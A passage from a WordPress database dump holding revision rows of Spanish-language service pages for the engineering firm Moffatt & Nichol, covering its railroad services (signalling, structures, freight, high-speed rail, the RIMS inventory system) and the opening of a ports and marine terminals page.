src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-10','','','2012-09-04 11:23:30','2012-09-04 11:23:30','',651,'http://moffattnichol.com/spanish/651-revision-10/',0,'revision','',0),(2670,1,'2012-09-04 11:25:00','2012-09-04 11:25:00','<div class=\"content_faq\">\r\n[anything_slides cat=railroads width=588 height=325 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction] \r\n<h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-11','','','2012-09-04 11:25:00','2012-09-04 11:25:00','',651,'http://moffattnichol.com/spanish/651-revision-11/',0,'revision','',0),(2671,1,'2012-08-29 14:20:46','2012-08-29 14:20:46','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=315  delay=5000 resume=15000 animation=500 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marítimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marítima. Participamos en la llegada de la contenedorización y tenemos expertos técnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancías y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el análisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseño y la construcción. Moffatt & Nichol puede dar soporte, prácticamente, a cualquier tarea portuaria, marítima o de transporte de carga desde sus oficinas y centros ubicados en Norteamérica, Europa y América Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marítimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÍTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo y ha jugado un papel importante en la evolución del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÓN PORTUARIA</strong><br />\r\n                Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es 